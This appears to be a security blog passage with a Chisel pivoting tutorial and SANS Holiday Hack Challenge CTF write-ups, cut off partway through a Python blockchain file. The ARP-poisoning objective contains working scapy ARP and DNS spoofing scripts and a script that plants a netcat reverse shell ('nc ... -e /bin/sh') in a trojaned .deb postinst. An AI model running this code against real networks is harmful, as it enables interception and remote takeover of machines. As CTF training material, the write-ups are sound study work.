If the image above reminds you of that funny scene in Friends and you are interested in learning about Chisel for lateral movement in a network, please read on. 🙂
In penetration testing terms, pivoting is a technique of using one compromised machine to access another.
Let’s take the below example as a problem statement.
Problem statement
Our attacker box can access the jumpbox as they both are in the same network (192.168.44.0/24) but It cant access (noted by the red arrow) the web server which is in a different network (10.10.10.0/24). How can the attackerbox move laterally through the jump box to access the web server?
Solution
We will use a tool named chisel to create a tunnel between the attackerbox and jumpbox and then pivot (lateraly move) from the jumpbox to the web server.
The process
For simplicity, we assume that the attacker has the RDP access on the jumpbox. We may think why we need pivoting and why can we just get on the jumpbox and from there exploit the web server. Thing is – this pivoting technique, as we see later will help us use full power of attacker kali pen test toolset and may potentially enable us to exploit the other hosts in the 10.10.10.0/24 network apart from just that web server.
/home/kali/tools is available of the window box with chisel.exe in it. Copy it to a local directory c:\temp.
Configure proxychain on the attacker kali box
Edit the /etc/proxychain4
sudo nano /etc/proxychains4.conf
Comment out socks4 line and add the socks5 (seperated by tab)
socks5 127.0.0.1 1080
Setup chisel as server on the attacker kali box
On Kali box, set the execute permission on chisel
chmod +x chisel
Setup chisel as server on the attacker box. The –reverse switch creates a reverse tunnel from the attackerbox to the jumpbox.
./chisel server -p 8000 --reverse
Setup chisel as client on the jumpbox
On the Jump server, copy the chisel (windows flavor) to a local directory and run as a client
chisel client 192.168.45.158:8000 R:socks
When we start the chisel as client, immediately we see the session/tunnel established with the chisel server on the attacker kali box.
Execute commands on the jumpbox from attacker box using proxychains
Now that we have the tunnel established between the chisel server on the attackerbox and the chisel client on the jumpbox, we can execute any command on the jumpbox via proxychains.
proxychains nmap -sT -p 443 -Pn 10.10.10.2
Now we see are able to access the web server from the attackerbox.
How does this work? What is the flow of events?
The flow of nmap request traffic from attackerbox to the web server and back in the above example can be depected via below sequence diagram. Same can be applied for any command executed using proxychains program from the attackerbox. [Please click on the image below to view larger size]
proxychains nmap -sT -p 443 -Pn 10.10.10.2
In the above command we are using proxychain to execute nmap, so proxychains program intercepts the traffic generated by nmap.
Since we have configured proxychains on the attackerbox to use SOCKS5 proxy on 127.0.0.1:8080, the proxychains program will route through that SOCKS5 proxy.
SOCKS5 proxy receives the nmap traffic and and forwards to the chisel server running on teh attackerbox.
Chisel server on attackerbox forwards traffic to the chisel client on the jumpbox via the chisel tunnel.
Jumpbox can forward the nmap “request” traffic to the web server.
After the web server processes the scan request, It generates the nmap response.
The response is sent from the jumpbox chisel client back to the attackerbox chisel server.
Chisel server on attackerbox forwards the response to the proxychains program
Proxychains outputs the nmap response to the terminal which originally issued the nmap command.
Holiday Hack Challenge is a CTF challenge organized by SANS and Counter Hack during Christmas each year. This year the CTF was named “KringleCon 4: Jack’s back”. It had total 13 objectives completing which one would reveal the narrative and win the CTF.
These objectives skill tested various significant areas of penetration testing – namely Active directory attacks, Cryptographic attacks, SQL injection, Server Side Request Forgery, Network Packet analysis to name a few and something very new – FPGA programming! As you progressed, the difficulty level of the objectives increased. It was a mind-numbing and awesome experience to complete all those objectives. Below is the write-up of those objectives including the answers.
Holiday Hack Challenge is a CTF challenge organized by SANS and Counter Hack during Christmas each year. This year the CTF was named “KringleCon 3: French Hens”. It had total 12 objectives and 12 terminals. Those 12 objectives tested hacking skillsets using Python, Javascript, Network security, Cryptography etc. As you progressed, the difficulty level of the objectives increased. It was a mind-numbing and awesome experience to complete all those objectives. Below is the write-up of those objectives including the answers.
Answers :
Objective
Answer
Objective 1: Uncover Santa’s Gift List
Proxmark
Objective 2: Investigate the S3 bucket
North Pole: The Frostiest Place on Earth
Objective 3: Point-of-sale Password Recovery
santapass
Objective 4: Operate the Santavator
No answer. This needed to be solved using Javascript by manipulating the position of objects.
Objective 5 : Open HID Block
No answer. This needed to be solved using the Proxmark CLI.
There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.
Answer : Proxmark
Process :
1) Downloaded the photograph. 2) Cropped the photo with only the gift list. 3) Installed Gimp 4) Used Filter > Distort > Whirl and Pinch 5) Unwirl to find the answer
Original billboard image :
Unwirled Image to find the item :
Objective 2: Investigate the S3 bucket
When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.
Answer : North Pole: The Frostiest Place on Earth
Process :
Using bucket_finder.rb s3 bucket “wrapper3000” was downloaded and extracted. This folder has a file named ‘package’ which has base64 encoded string Below is the process of unwrapping process of ‘package’ file all the way to the text file: wrapper3000/package > base64 decode > zip file > .bz2 file > .tar file > .xxd file > .xz file > .z file > ASCII text file.
#!/bin/bash -x
# Author : Ashish Gupta
# Below will download the s3 bucket and will keep unwap till we find a text file
# The downloaded and extracted folder "wrapper" has this file named 'package' which has base64 encoded string
# Unrapping process :
# wrapper3000/package > base64 decode > zip file > .bz2 file > .tar file > .xxd file > .xz file > .z file > ASCII text file
#
# Assuming we are on home, this will show the items TIPS bucket_finder
ls
# Go to bucket_finder
cd bucket_finder/
# Check what is currently in the wordlist
cat wordlist
# Append wrapper3000 to the wordlist
echo wrapper3000 >> wordlist
# Check to make sure wrapper3000 is appended to the wordlist
cat wordlist
# Search for s3 buckets with names noted in the 'wordlist' file and if found download them
# Below will download the file named 'package'
./bucket_finder.rb wordlist -d
# change to downloaded wrapper3000/ directory
cd wrapper3000
# Check to make sure a file named 'package' exists
ls
# What kind of file is 'package'
# Below will show "package: ASCII text, with very long lines"
file package
# May be a base64 file. decode it to a file named 'myfile'
cat package | base64 -d > myfile
# What kind of file is myfile
# Below will show "myfile: Zip archive data, at least v1.0 to extract"
# So, myfile is a zip. extract using unzip.
# Below will extract to a .bz2 file printing the below
#Archive: myfile
# extracting: package.txt.Z.xz.xxd.tar.bz2
unzip myfile
# What kind of file is "package.txt.Z.xz.xxd.tar.bz2"
# Below will show a bz2 file named "package.txt.Z.xz.xxd.tar.bz2" printing the below :
# package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
file package.txt.Z.xz.xxd.tar.bz2
# Its bz2 file, extract using bzip2
# Below will extract the bz2 file to another file named "package.txt.Z.xz.xxd.tar"
bzip2 -d package.txt.Z.xz.xxd.tar.bz2
# We have now package.txt.Z.xz.xxd.tar
# What kind of file is "package.txt.Z.xz.xxd.tar"
# below will show .tar printing below :
# package.txt.Z.xz.xxd.tar: POSIX tar archive
file package.txt.Z.xz.xxd.tar
# Extract the tar file. It will extract to package.txt.Z.xz.xxd
tar -xvf package.txt.Z.xz.xxd.tar
# What kind of file is "package.txt.Z.xz.xxd"
# package.txt.Z.xz.xxd: ASCII text
file package.txt.Z.xz.xxd
# use xxd on this to extract to test2.xz
xxd -r package.txt.Z.xz.xxd test2.xz
# What kind of file is "test2.xz"
# test2.xz: XZ compressed data
file test2.xz
# uncompress test2.xz using xz which will extract the file named "test2"
unxz test2.xz
# rename file test2 to test2.z
mv test2 test2.z
# uncompress test2.z. this will create a file named "test2"
uncompress test2.z
# What kind of file is "test2"
# test2: ASCII text
file test2
# Print the contents of this text file
# Output would show "North Pole: The Frostiest Place on Earth"
cat test2
Objective 3: Point-of-sale Password Recovery
Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?
Answer : santapass
Process :
Step 1: Extract the santa-shop.exe using 7zip. You see the ASAR file.
Step 2: Extract the source code from ASAR application and find the password in main.js
Objective 4: Operate the Santavator
Talk to Pepper Minstix in the entryway to get some hints about the Santavator.
Process
Use the chrome JS console to rotate the green light and candycane so we can get lights to all the outlets.
Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.
Copy the badge id from elf Bow Ninecandle
Go near Bow Ninecandle in teh “Talks” floor.
Open the Proxmark3 CLI from the “Items” menu
Copy the badge value from Bow Ninecandle using the below command :
lf hid read
The tag id is 2006e22f0e
Use the copied tag id to unlock the door in workshop room
Go to the workshop floor and stand in front of the lock.
Open Proxmark CLI and simulate the tag id “2006e22f0e” of Bow Ninecandle
lf hid sim -r 2006e22f0e
The door is unlocked!!!
When you enter the room you just unlocked, Its all dark with light at the end. You approach it……
and you become Santa!!! This was a magical moment for me!
Objective 6: Splunk Challenge
Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?
Splunk Training question 1
How many distinct MITRE ATT&CK techniques did Alice emulate?
Answer : 13
Process :
Execute the below Splunk query :
| tstats count where index=t* by index
| eval results=split(index,"-")
| eval without-dash=mvindex(results,0)
| table without-dash
| rex field=without-dash mode=sed "s/\..*$//"
| dedup without-dash
OR
| tstats count where index=* by index
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*"
| stats dc(technique)
Splunk Training Question 2 :
What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
Answer : t1059.003-main t1059.003-win
Process :
Execute the below Splunk query:
index=t1059.003*
| table index
| dedup index
| sort index
Output :
Splunk Training Question 3 :
One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?
Note per the question, a registry key was queried, so execute the below Splunk query on the all the indexes for the technique t1082 for “reg” to get the registry key which was queried, since the “MachineGuid” needed to be determined, It must have been part of the query, so included that as well in the Splunk query:
According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)
3) Execute the below Splunk query on the “attack” index to get the 1st OSAT related text executed.
index=attack OSTAP
| table "Execution Time _UTC"
| sort "Execution Time _UTC" asc
Splunk Training Question 5
One Atomic Red Team test executed by the Attack Range makes use of an open-source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?
4) Now pivot to index for the technique T1123 for the “audio” and the Sysmon as source with TimeCreated as time. Note that “tail 1” is used as the ask is to get the process id associated with the “first use”. “tail 1” will provide the 1st record (1st use) as Splunk returns the search results sorted so that the latest result comes first.
Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?
Just go to that URL and the last line of that batch file is “quser”
Splunk Training Question 7 :
According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?
Answer : 55FCEEBB21270D9249E86F4B9DC7AA60
Process :
Looking at ALL the technique indices (index=t* ) with source as the zeek x509 logs specifically win-dc:
What is the name of the adversary group that Santa feared would attack KringleCon?
Answer : The Lollipop Guild
Process :
Gather all the hints! Alice gave a few hints:
Hint 1: Alice says the “ciphertext is 7FXjP1lyfKbyDK/MChyf36h7” Hint 2: Alice says “We don’t care about RFC 7465” RFC 7465 requires that the TLC clients and servers never negotiate the user of RC4 ciphers when they establish connections. https://tools.ietf.org/html/rfc7465 So, if they don’t care about RFC 7465, they ignore that RC4 should not be used and still used RC4 ciphers. This means the encryption method used was RC4. But encryption needs a key. What that key would be?
Hint 3
Alice says the last one is encrypted using “your favorite phrase” Santa asks “my favorite phrase?” Alice says “I can’t believe the Splunk folks put it in their talk”
now, we go and watch the below talk which is in Kringlecon 2020: Dave Herrald, Adversary Emulation and Automation | KringleCon 2020 Mr. Dave Herrald has the below in the video:
and he says, this is the most important slide you want to take note of if you are preparing for the Splunk challenge within holiday hack challenge 2020:
Stay Frosty (That might be our encryption key)
Find answer using all the hints:
So, far we have below hints: a) We have the base64 text 7FXjP1lyfKbyDK/MChyf36h7 b) We know RC4 could potentially be the encryption method c) We know “Stay Frosty” could potentially be the encryption keys used in RC4
When you open the UI, you will see many messages. Filter out the noise with those all 0’s in the message in the Sleigh CAN-D bus. When you click unlock, there is one message which consistently comes up : 19B#00000F000000
Filter out the other one 19B#0000000F2057. Now, we have consistently 19B#00000F000000 when we click unlock.
Criteria added to filter noise and message for unlock found
Now in the CAN-Bus Investigation terminal, grep for “19B#00000F000000″ in the canndump.log and you see the entry 1608926671.122520. This challenge needed the decimal portion of the timestamp and hence the answer is 122520. Please see the below screenshot.
Find the CAN id# in the candump.log; Get the decimal portion of the mssage Id(the answer)
Objective 7: Solve the Sleigh’s CAN-D-BUS Problem
Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.
Process :
Wunorse Openslae says there is an issue with breaks and doors :
Hints from Wunrose Openslae
CAN ID of doors is 19B CAN ID of breaks is 080
“Breaks” fix – Exclude all the messages containing FF (larger numbers, greater than decimal 100) “Doors” fix – Exclude the malicious messages 0F2057
Objective 8: Broken Tag Generator
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
Answer : JackFrostWasHere
High level Approach:
Exploit the directory traversal vulnerability in the tag generator application to use the Local File Inclusion (LFI) on the web server running the application and then access the /proc/self/environ which will contain the all the environment variable used by the web server process including the variable named “GREETZ”
Process :
Check if the web app has directory traversal vulnerability
The elf Holly Evergreen thinks there may be an issue with the “file upload” feature :
Under Linux, /proc/self is a dynamic symlink that the kernel provides that points to the process opening it. e.g., if process 1234 tries to follow /proc/self, it will be looking the same content as /proc/1234 and then proc/self/environ will have all the environment variables for the process.
This will list all the environment variables including “GREETZ” value of which would be “JackFrostWasHere”
Objective 9: ARP Shenanigans
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
Answer : Tanta Kringle
High level approach :
Change the ARP cache of target machine (10.6.6.35) so all requests come to our host (ARP Poisoning) and we respond to DNS requests (DNS poisoning).
Build a Linux trojan on a deb file (which 10.6.6.35 is constantly requesting). This Linux trojan when executed on 10.6.6.35 will open a reverse shell of 10.6.6.35 on our host.
With shell access on the 10.6.6.35, we get access to the file /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt which will have the name who recused herself from the vote described on the document.
Below screenshot shows how we determined the machines.
Nslookup provides more information on those 3 hosts.
The Process :
ARP Poisoning:
Spoof the ARP response going to 10.6.6.35 with our MAC address so all requests (including DNS requests) from 10.6.6.35 come to our host (ARP Poisoning). Change the /script/arp_resp.py accordingly.
DNS Poisoning :
Since we can intercept all the DNS requests coming from 10.6.6.35, we can respond to those DNS responses (DNS poisoning). Change the /script/dns_resp.py accordingly.
Create a Linux trojan with netcat reverse shell payload for port 4444 in it
10.6.6.35 requests for a specific DEB file (pub/jfrost/backdoor/suriv_amd64.deb) over HTTP. We can create a Linux trojan with any DEB file renamed as above deb file which will include a netcat reverse shell. The Linux trojan will be placed in the same directory structure as requested by 10.6.6.35 [pub/jfrost/backdoor/suriv_amd64.deb]
Run Python web server and netcat listening on port 4444
Run the python web server on the root. Run netcat listening on our host on port 4444.
Showing ARP Poisoning
Changes to the script/arp_resp.py :
Changes to scripts/arp_resp.py
DNS Poisoning diagram :
Please click on the image to see the enlarged view :
DNS poisoning
Changes to scripts/dns_resp.py
Changes to scripts/dns_resp.py
Creating the linux trojan :
The debs/ folder has a number of deb files. We choose netcat-traditional_1.10-41.1ubuntu1_amd64.deb Add netcat reverse shell script to this deb file :
nc 10.6.0.3 4444 -e /bin/sh
Above will executed when the deb file is requested and executed on 10.6.6.35. This will give a reverse shell on 10.6.6.35 to out host 10.6.0.3 on 4444. Ref : http://www.wannescolman.be/?p=98
Putting it all together :
See the below screenshot the processes executed in the below order – numbered in the below screenshot.
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst=packet[ARP].hwsrc, type=0x806, src=macaddr)
arp_response = ARP(pdst=packet[Ether].psrc)
arp_response.op = 'is-at'
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x800
arp_response.hwtype = 0x1
arp_response.hwsrc = macaddr
arp_response.psrc = packet[ARP].pdst
arp_response.hwdst = packet[ARP].hwsrc
arp_response.pdst = packet[ARP].psrc
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
dns_resp (with changes) for DNS poisoning :
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src=packet.dst, dst=packet.src)
ip = IP(dst=packet[IP].src, src=packet[IP].dst)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(
# MISSING DNS RESPONSE LAYER VALUES
id=packet[DNS].id,
qr=1,
ancount=1,
aa=1,
qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=ipaddr)
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
main()
build_linux_trojan.sh [to create a Linux trojan with a .deb file]
#!/bin/bash
cd ~/
mkdir build-payload
cp debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb build-payload/
cd build-payload
mkdir work
echo "Extracting netcat-traditional_1.10-41.1ubuntu1_amd64.deb to work/ folder"
dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb work
mkdir work/DEBIAN
ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb
echo "Extracting the control and postinst file from netcat-traditional_1.10-41.1ubuntu1_amd64.deb and "
tar -xf control.tar.xz ./control
tar -xf control.tar.xz ./postinst
echo "stuffing nc 10.6.6.53 4444 -e /bin/sh to the postinst file"
echo "nc 10.6.0.3 4444 -e /bin/sh" >> postinst # thats my IP address which I want 10.6.6.35 to connect to get the reverse shell on this host
mv control work/DEBIAN/
mv postinst work/DEBIAN/
cd ~/
echo "buiding the deb package"
dpkg-deb --build build-payload/work/
cd ~/
mkdir -p pub/jfrost/backdoor
echo "moving the work.deb to pub/jfrost/backdoor/suriv_amd64.deb"
mv build-payload/work.deb pub/jfrost/backdoor/suriv_amd64.deb
echo "pub/jfrost/backdoor/suriv_amd64.deb is ready!"
Objective 10: Defeat Fingerprint Sensor
Bypass the Santavator fingerprint sensor. Enter Santa’s office without Santa’s fingerprint.
High level details :
When you click the elevator panel, a special JavaScript file named “app.js” get loaded which checks for a flag named “besanta” for successful scan of the fingerprint.
We host that “app.js” file in our local with the “besanta” check removed and then load that file using Fiddler instead of server app.js.
With “besanta” check removed, you bypass the fingerprint check.
Process :
Below actions are as me (not Santa). If you right click on the Scan Fingerprint and “Inspect”
User Chrome’s inspect to look at the javascript behind the “Scan fingerprint” image
You will see the that fingerprint image is actually a DIV with class name “print-cover” with click action handler of which is in app.js.
Now look at the event handler in the app.js. In addition to the powered, it checks if the token named “besanta“. If It’s there, it will allow to go to Santa’s office. If not, it will play error sound.
Click handler of “Scan fingerprint” image
Now, what we can do is to make a copy of this app.js, remove that && hasToken(‘besanta’) condition. Then host that in local IIS server (like http://localhost/app.js)
See the below screenshot (steps are numbered): Go to Fiddler > AutoResponder (1) > Enable Rules (2) > Add Rule (3) > Add https://localhost/app.js (4) > Save (5)
Now when you click on the fingerprint scanner, you will be able to get into Santa’s office.
Objective 11a): Naughty/Nice List with Blockchain Investigation Part 1
Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)
Answer : 57066318F32F729D
High-level approach :
In Santa’s office, Tinsel Upatree has the Blockchain.dat and the zip file containing the python script The naughty_nice.py verifies the block chain up to block# 129996. So, we have nonce up to 12996. If we get the last 624 nonces with last one being of block# 12996, we can use the MT19937Predictor to get the nonce of 12997, 12998, 12999 and finally 13000 which is needed by this objective.
Details :
The zip file named OfficialNaughtyNiceBlockchainEducationPack.zip has following contents. We put the Blockchain.dat to examine it using the naughty_nice.py
Contents of “OfficialNaughtyNiceBlockchainEducationPack.zip”
The naughty_nice.py was changed to get all the last 624 nonces of the blockchain. Then those last 624 nonces were fed into the MT19937Predictor() to get nonce for block# 12997 The nonce of 12997 was included in the list to get the nonce for block# 12998. The nonce of 12998 was included in the list to get the nonce for block# 12999. The nonce of 12999 was included in the list to get the nonce for block# 13000.
For changes in the naughty_nice.py, compare the naughty_nice_original.py and naughty_nice.py.
Changes in “naughty_nice.py”Running naughty_nice.py. The nonce for block#13000 is 6270808489970332317
Converting to hexadecimal It would be 57066318F32F729D and that’s the answer.
Convering decimal to hex
The below zip file contains the changed naughty_nice.py (please remove the .txt after extraction)
#!/usr/bin/env python3
'''
So, you want to work with the naughty/nice blockchain?
Welcome!
This python module is your first step in that process. It will introduce you to how the Naughty/Nice
blockchain is structured and how we at the North Pole use blockchain technology. The North Pole
has been using blockchain technology since Santa first invented it back in the 1960's. (Jolly
prankster that he is, Santa posted a white paper on the Internet that he wrote under a pseudonym
describing a non-Naughty/Nice application of blockchains a dozen or so years back. It caused quite
a stir...)
Important note: This module will NOT allow you to add content to the Official Naughty/Nice Blockchain!
That can only be done through the Official Naughty/Nice Website, which passes new blocks to the Official
Santa Signature System (OS3) that applies a digital signature to the content of each block before it is
added to the chain. Only blocks whose contents have been digitally signed by that system are placed on
the Naughty/Nice blockchain.
Note: If you're authorized to use the Official Naughty/Nice website, you will have been given a login and
password for that site after completing your training as a part of Elf University's "Assessing and
Evaluating Human Behavior for Naughty/Niceness" Curriculum.
This code is used to introduce how blocks/chains are created and allow you to view and/or validate
portions (or the entirety) of the Official Naughty/Nice Blockchain.
A blockchain, while a part of the whole cryptocurrency "fad" that a certain pseudonym-packing North Pole
resident appears to have begun, are certainly not limited to that use. A blockchain can be used anywhere
that a record of information or transactions need to be maintained in a way that cannot be altered. And
really, what information is more important (and necessarily unalterable) than acts of Naughty/Niceness?
A blockchain works by linking each record together with the previous record. Each block's data contains
a cryptographic hash of the previous block's data. Because a block cannot be altered without altering
the cryptographic hash of its contents, any alteration of the data within a block will be immediately
evident, because every following block will no longer be valid.
In addition to this built-in property of a blockchain, the Official Naughty/Nice Blockchain has a few
other safeguards. The cryptographic hash of each block is signed using the Official Santa Signature
System (OS3). Currently, the Official Naughty/Nice Blockchain uses MD5 as its hashing algorithm, but
plans are in place to move to SHA256 in 2021. This update is part of a phased process to modernize
the blockchain code. In 2019, the entire blockchain system was ported from the original COBOL code to
Python3. Because of concerns about hash collisions in MD5, in the new Python3 code, a 64-bit random
"nonce" was added to the beginning of each block at the time of creation.
This module represents a portion of the most current blockchain codebase. It consists of two classes,
one for the creation of blocks, called Block(), and one for the creation, examination, and verification of
chains of blocks, called Chain().
The following is an overview of the functionality provided by these classes:
The Chain() class is where most blockchain work is performed. It is designed to be as "block-agnostic"
as possible, so it can be used with blocks that hold different types of data. To use a different type
of block, you simply replace (or subclass) the Block() class. For this to work, there are several
functions that MUST be supplied by the Block() class. Let's take a look at those.
The Block() class MUST supply the following functions, used by the Chain() class:
create_genesis_block() - This creates a very special block used at the beginning of the blockchain,
and known as the "genesis" block. Because it has no previous block to reference it is, by definition,
always considered valid. This block uses an agreed-upon, fake previous hash value.
verify_types() - Because the Chain() class is block-agnostic, it needs the Block() class to validate
that a block contains valid data. This function returns True or False.
block_data() - a function that returns a representation of all of the data in the block that is to
be hashed and signed. The data is returned as a Python3 bytes object.
full_block_data() - a function that returns a representation of the entire block, including any
hashes and signatures. A hash of this data is what is used as the "previous hash" value in the
subsequent block. This data is returned as a Python3 bytes object. This function is also used
when saving either the entire blockchain to a file, or a single block to a file
load_a_block([filehandle]) - this function takes a filehandle and returns a block at a time for
addition to the block chain. This function DOES NOT verify blocks. This function throws a
Value_Error exception when it either encounters the end of the file or unparsable data.
The Naughty/Nice Block() class also defines a utility function:
dump_doc([document number]) - this will dump the indicated supporting document to a file named
as <block_index>.<data_type_extension>. Note: this function will overwrite any existing file
with that name, so if there are multiple documents (there can be up to 9) of the same type
affixed to a record, it is the responsibility of the calling process to rename them as appropriate.
The Chain() class provides the following functions:
add_block([block_data]) - passes a block_data dictionary to the Block() initialization code.
This function, being "block-agnostic" simply passes the block_data along. It is up to the Block()
initialization code to validate this data.
verify_chain([public_key], <beginning hash>) - steps through every block in the chain and
verifies that the data in each block is of the correct type, that the block index is correct,
that the block contains the correct hash for the previous block, and that the block signature
is a valid signature based on the hash of the block data. It then hashes the full block for use
as the "previous hash" on the next block. This returns True or False. (If False, it prints
information about what, specific, issues were found and the block that triggered the issue.)
Note: If you're working with a portion of the block chain that does not begin with a genesis
block, you'll need to provide a value for the previous block's hash for this function to
work.
save_a_block(index, <filename>) - saves the block at index to the filename provided, or to
"block.dat" if no filename is given.
save_chain(<filename>) - saves the chain to the filename provided, or to "blockchain.dat" if
no filename is given.
load_chain(<filename>) - loads a chain from the filename provided, or from "blockchain.dat" if
no filename is given. This returns the count of blocks loaded. This DOES NOT verify that the
data loaded is a valid blockchain. It is recommended to call verify_chain() immediately after
loading a new chain.
An overview of how we process the Official Naughty/Nice Blockchain:
There are approximately 7.8 billion people and magical beings on Earth, and each one is tracked
24 hours a day throughout the year by a fleet of Elves-On-The-Shelves. While those elves are
clearly visible during the Holiday season, don't be fooled into believing that we're only tracking
Naughty/Niceness at that time. On average, each of the billions of subjects that we monitor are
performing some sort of Naughty or Nice activity that rises to the level of being scored on the
blockchain around 2.1 times per week. Keeping track of all of that activity on a single blockchain
would be incredibly processing intensive (that would be ~1^12 blocks/year, or 32,000 blocks/second),
so we've broken our record-keeping into 1,000 different blockchains. If you do the math, you'll find
that each of the blockchains is now responsible for between 1,500 and 2000 blocks per minute, which
is a reasonable load. A separate database keeps track of which Personal ID (pid) is assigned to each
of the blockchains.
Throughout the year, we periodically run each of the chains to determine who is the best (and worst)
of our subjects. While only the final Holiday run is used to determine who is getting something
good in their stockings and who is getting a lump of coal, it's always interesting to see a listing
of the Nicest and Naughtiest folks out there.
Please note: Wagering on the results of the Official Naughty/Nice Blockchain is STRICTLY PROHIBITED.
If you intend to use your access to the Official Naughty/Nice Blockchain code to facilitate any sort
of gambling, you will be racking up a whole bunch of Naughtiness points. YOU HAVE BEEN WARNED! (I'm
looking at you, Alabaster Snowball...)
For this reason, we have not provided any code that will perform a computation of Naughty/Nice
points. Additionally, for privacy reasons, there is also no code to pull the records associated
with specific individuals from this list. While the creation of that code would not be difficult,
you are honor-bound to use your access to this list for only good and noble purposes.
Signing Keys - Information
We have provided you with an example private key that you can use when generating your own blockchains
for test purposes. This private key (which also contains the public key information) is called
private.pem.
Additionally, we have provided you with a copy of the public key used to verify the Official
Naughty/Nice Blockchain. This is the public key component of the private key used by the Official
Santa Signature System (OS3) to sign blocks on the Official Naughty/Nice Blockchain. This key
is contained in the file official_public.pem.
'''
import random
from Crypto.Hash import MD5, SHA256
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from base64 import b64encode, b64decode
import binascii
import time
import itertools
from mt19937predictor import MT19937Predictor
genesis_block_fake_hash = '00000000000000000000000000000000'
data_types = {1:'plaintext', 2:'jpeg image', 3:'bmp image', 4:'gif image', 5:'PDF', 6:'Word', 7:'PowerPoint', 8:'Excel', 9:'tiff image', 10:'MP4 video', 11:'MOV video', 12:'WMV video', 13:'FLV video', 14:'AVI video', 255:'Binary blob'}
data_extension = {1:'txt', 2:'jpg', 3:'bmp', 4:'gif', 5:'pdf', 6:'docx', 7:'pptx', 8:'xlsx', 9:'tiff', 10:'mp4', 11:'mov', 12:'wmv', 13:'flv', 14:'avi', 255:'bin'}
Naughty = 0
Nice = 1
class Block():
def __init__(self, index=None, block_data=None, previous_hash=None, load=False, genesis=False):
if(genesis == True):
return None
else:
self.data = []
if(load == False):
if all(p is not None for p in [index, block_data['documents'], block_data['pid'], block_data['rid'], block_data['score'], block_data['sign'], previous_hash]):
self.index = index
if self.index == 0:
self.nonce = 0 # genesis block
else:
self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)
self.data = block_data['documents']
self.previous_hash = previous_hash
self.doc_count = len(self.data)
self.pid = block_data['pid']
self.rid = block_data['rid']
self.score = block_data['score']
self.sign = block_data['sign']
now = time.gmtime()
self.month = now.tm_mon
self.day = now.tm_mday
self.hour = now.tm_hour
self.minute = now.tm_min
self.second = now.tm_sec
self.hash, self.sig = self.hash_n_sign()
else:
return None
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def __repr__(self):
s = 'Chain Index: %i\n' % (self.index)
s += ' Nonce: %s\n' % ('%016.016x' % (self.nonce))
s += ' PID: %s\n' % ('%016.016x' % (self.pid))
